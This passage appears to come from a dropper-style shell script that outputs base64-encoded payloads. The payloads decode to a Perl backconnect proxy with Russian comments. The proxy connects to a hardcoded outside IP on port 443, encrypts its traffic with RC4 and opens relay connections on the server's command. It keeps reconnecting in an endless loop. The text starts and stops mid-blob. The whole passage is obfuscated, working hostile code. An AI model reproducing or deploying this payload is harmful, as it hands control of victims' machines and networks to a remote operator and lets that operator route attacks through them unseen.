KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_52() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
